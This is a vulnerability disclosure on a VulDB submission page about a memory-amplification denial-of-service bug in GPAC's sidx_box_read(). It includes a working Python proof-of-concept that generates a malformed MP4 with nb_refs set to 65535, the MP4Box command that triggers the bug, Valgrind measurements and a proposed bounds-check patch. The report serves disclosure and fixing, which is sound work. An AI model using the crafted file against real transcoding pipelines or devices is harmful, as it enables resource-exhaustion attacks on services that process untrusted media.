| Titel | gpac latest Denial of Service (DoS) |
|---|
| Beschreibung | Summary
sidx_box_read() reads nb_refs (a 16-bit field, max 65 535) directly from the file stream and immediately calls gf_malloc(sizeof(GF_SIDXReference) * nb_refs) without first verifying that the box contains enough bytes to hold that many entries. A crafted sidx box declaring nb_refs = 0xFFFF with no actual reference data causes GPAC to allocate ~1.5 MB per invocation before the error is detected.
Confirmed by Valgrind heap profiling:
Scenario Total heap allocated Peak RSS
Normal sidx (nb_refs = 0) 175 583 bytes ~3 MB
Malicious sidx (nb_refs = 65535, no data) 1 748 129 bytes ~100 MB
Difference +1 572 546 bytes (~1.5 MB) +97 MB
Theoretical: 65 535 × 24 bytes = 1 572 840 bytes. Measured delta: 1 572 546 bytes (error < 0.02%).
Vulnerable Code
// src/isomedia/box_code_base.c — sidx_box_read()
ptr->nb_refs = gf_bs_read_u16(bs); // ← attacker-controlled, max 65535
// ❌ NO BOUNDS CHECK — malloc fires before any size validation
ptr->refs = gf_malloc(sizeof(GF_SIDXReference) * ptr->nb_refs);
if (!ptr->refs) return GF_OUT_OF_MEM;
for (i = 0; i < ptr->nb_refs; i++) {
// ... read fields ...
ISOM_DECREASE_SIZE(ptr, 12); // ← validation is INSIDE the loop, AFTER malloc
}
GF_SIDXReference is 24 bytes on x86-64 (Bool fields are enum-sized = 4 bytes each).
Comparison with Secure Pattern
GPAC correctly guards the same pattern in co64_box_read():
// co64_box_read() — box_code_base.c ~line 48 — CORRECT
ptr->nb_entries = gf_bs_read_u32(bs);
ISOM_DECREASE_SIZE(ptr, 4);
// ✅ pre-allocation bounds check
if ((u64)ptr->nb_entries > ptr->size / 8 ||
(u64)ptr->nb_entries > (u64)SIZE_MAX / sizeof(u64)) {
GF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER,
("[iso file] Invalid number of entries %d in co64\n", ptr->nb_entries));
return GF_ISOM_INVALID_FILE;
}
ptr->offsets = gf_malloc(ptr->nb_entries * sizeof(u64));
sidx_box_read() is missing the equivalent check. The same pattern is also present in stsc_box_read, stco_box_read, and stts_box_read.
Steps to Reproduce
1. Generate the PoC file
Save the following as poc_sidx.py and run it:
#!/usr/bin/env python3
import struct
def u8(v): return struct.pack('>B', v & 0xFF)
def u16be(v): return struct.pack('>H', v & 0xFFFF)
def u32be(v): return struct.pack('>I', v & 0xFFFFFFFF)
def box(t, payload):
t = t.encode() if isinstance(t, str) else t
return struct.pack('>I', 8 + len(payload)) + t + payload
def fullbox_hdr(ver=0, flags=0):
return bytes([ver]) + struct.pack('>I', flags)[1:]
# ftyp
ftyp = box('ftyp', b'isom' + u32be(0x200) + b'isom' + b'iso2')
# malicious sidx: nb_refs=65535, zero actual reference data
sidx_payload = (
fullbox_hdr(0, 0) +
u32be(1) + # reference_ID
u32be(1000) + # timescale
u32be(0) + # earliest_presentation_time (version=0, 4 bytes)
u32be(0) + # first_offset (version=0, 4 bytes)
u16be(0) + # reserved
u16be(0xFFFF) # nb_refs = 65535 ← triggers ~1.5 MB malloc
# no reference entries follow
)
sidx = box('sidx', sidx_payload)
# minimal moov
mvhd_payload = (
fullbox_hdr(0, 0) + u32be(0)*2 + u32be(1000) + u32be(0) +
u32be(0x00010000) + u16be(0x0100) + b'\x00'*10 +
u32be(0x00010000) + u32be(0)*2 + u32be(0) + u32be(0x00010000) + u32be(0)*2 +
u32be(0x40000000) + b'\x00'*24 + u32be(2)
)
moov = box('moov', box('mvhd', mvhd_payload))
with open('poc_sidx_alloc.mp4', 'wb') as f:
f.write(ftyp + sidx + moov)
print(f"Written {len(ftyp + sidx + moov)} bytes -> poc_sidx_alloc.mp4")
python3 poc_sidx.py
# Output: Written 168 bytes -> poc_sidx_alloc.mp4
2. Trigger
MP4Box -info poc_sidx_alloc.mp4
Output:
[isom] not enough bytes in box sidx: 0 left, reading 12
(file isomedia/box_code_base.c, line 9527) - try specifying -no-check (might crash)
[iso file] Read Box "sidx" (start 24) failed (Invalid IsoMedia File) - skipping
Error opening file poc_sidx_alloc.mp4: Invalid IsoMedia File
The error fires at line 9527 — inside the loop body — proving gf_malloc already executed before the size check.
3. Confirm heap amplification (Valgrind)
# requires a non-ASAN build
valgrind --leak-check=full MP4Box -info poc_sidx_alloc.mp4 2>&1
Output:
==PID== HEAP SUMMARY:
==PID== in use at exit: 0 bytes in 0 blocks
==PID== total heap usage: 290 allocs, 290 frees, 1,748,129 bytes allocated
==PID==
==PID== All heap blocks were freed -- no leaks are possible
Compare with a normal sidx (nb_refs=0): 175 583 bytes total. Delta = 1 572 546 bytes ≈ 65 535 × 24 bytes.
Impact
Memory amplification: 172-byte file → ~1.5 MB allocation (×9 160 ratio).
DoS in constrained environments: embedded/IoT devices, automated transcoding pipelines, CDN nodes processing untrusted files.
Concurrent amplification: 1 000 parallel requests → ~1.5 GB transient allocation.
No persistent leak: sidx_box_del() correctly frees ptr->refs on the error path. The risk is the amplified transient allocation.
Suggested Fix
Add a pre-allocation bounds check immediately after reading nb_refs, mirroring co64_box_read:
// src/isomedia/box_code_base.c — sidx_box_read()
// Add after: ptr->nb_refs = gf_bs_read_u16(bs);
if ((u64)ptr->nb_refs > ptr->size / 12 ||
(u64)ptr->nb_refs > (u64)SIZE_MAX / sizeof(GF_SIDXReference)) {
GF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER,
("[iso file] Invalid number of references %u in sidx\n", ptr->nb_refs));
return GF_ISOM_INVALID_FILE;
}
// then: ptr->refs = gf_malloc(sizeof(GF_SIDXReference) * ptr->nb_refs);
Each reference entry is 12 bytes on the wire (1+31+32+1+3+28 bits), so ptr->size / 12 is the maximum number of entries the remaining box bytes can hold.
After the fix, the malicious file produces:
[iso file] Invalid number of references 65535 in sidx
Error opening file poc_sidx_alloc.mp4: Invalid IsoMedia File
with no oversized allocation.
References
CWE-770: Allocation of Resources Without Limits or Throttling
ISO/IEC 14496-12 §8.16.3 (Segment Index Box)
Secure pattern: co64_box_read, stsc_box_read, stco_box_read, stts_box_read in box_code_base.c |
|---|
| Quelle | ⚠️ https://github.com/gpac/gpac/issues/3519 |
|---|
| Benutzer | Lucian-2333 (UID 97209) |
|---|
| Einreichung | 21.04.2026 02:38 (vor 1 Monat) |
|---|
| Moderieren | 07.05.2026 19:08 (17 days later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 361914 [GPAC bis 26.02.0 box_code_base.c sidx_box_read Denial of Service] |
|---|
| Punkte | 20 |
|---|